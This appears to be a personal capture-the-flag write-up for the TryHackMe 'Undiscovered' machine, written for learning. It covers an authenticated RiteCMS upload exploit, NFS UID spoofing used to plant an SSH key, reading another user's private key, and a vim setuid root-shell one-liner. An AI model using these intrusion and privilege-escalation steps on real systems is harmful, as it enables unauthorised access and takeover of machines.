Discovery consists not in seeking new landscapes, but in having new eyes.

This is Undiscovered from TryHackMe. Interestingly, this actually was a Vulnhub machine for a while then got moved to THM. I found the foothold and figured out the privesc, but didn’t know how to do the lateral movement (from www-data to william), so that’s mostly what I’m going to write about here.


This box has a heap of different sub-domains that I enumerated with WFUZZ. It’s running RiteCMS 2.2.1 which has an authenticated RCE in the form of an upload vulnerability. The default credentials are admin:admin but the password had been changed to liverpool; I found that with Burp Turbo Intruder. The initial stage was wading through the subdomains trying to find the right one (deliver). The others were all lacking the /cms directory, which contains the login page.

I uploaded a file called execute.php using the File Manager in the Administration tools then sent it a URL encoded reverse shell:


This was sent to http://deliver.undiscovered.thm/files/execute.php?cmd=


So once I was on the box I could see I had two users; leonard and william. I figured out that the privesc was going to be using vim, since it has the setuid capability set. The only thing was that the binary belonged to the Developer group, of which leonard was the only member. So we had to become leonard. As it turns out, that is via william. Here’s how.

The box has an NFS share; I’d mounted it previously but couldn’t really do anything with it - not even read the content. As it happens, you need to have a local user with the same username and uid as the remote user.

We can do that on our local box:

root@kali:/opt/tryhackme/undiscovered# useradd -u 3003 william

Then mount the share:

root@kali:/opt/tryhackme/undiscovered# mount -t nfs undiscovered.thm:/ ./mount

And then

root@kali:/opt/tryhackme/undiscovered# su - william

And once we’ve done that we can read and write to the share. Any changes to our local mounted share are reflected on the box.

The easiest thing to do is to add our SSH public key to the authorized_keys for william. That doesn’t exist; but we can create it.

root@kali:/opt/tryhackme/undiscovered# mount -t nfs undiscovered.thm:/ mount
root@kali:/opt/tryhackme/undiscovered# su - william
$ cd /opt/tryhackme/undiscovered/mount/home/william
$ mkdir .ssh
$ cd .ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2 AND THE REST OF MY SSH PUBLIC KEY 4IXNhvDE0= root@kali" >> authorized_keys

Once this is done we can just do:

root@kali:/opt/tryhackme/undiscovered# ssh william@undiscovered.thm
Warning: Permanently added the ECDSA host key for IP address '' to the list of known hosts.
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

Last login: Thu Sep 10 00:35:09 2020 from


William has a file in his home directory that reads files from leonards home directory; so we can read leonards SSH private key. It’s not encrypted, so we can just read it, copy it and SSH in as leonard. Easy.

william@undiscovered:~$ ./script .ssh/id_rsa
etc etc


As I figured out while I was still www-data and before checking a write-up on how to become william, the privesc is via vim.

GTFOBins offers a method and although the (at the time of writing) only writeup on the THM page says it doesn’t work, it actually does provided you specify python3:

leonard@undiscovered:~$ vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

So overall I had most of this sorted apart from the trick about having a local user with the same username and UID as the remote user. I hadn’t seen that before and it’s something I won’t forget. TIL.

The writeups I looked at were from here and here.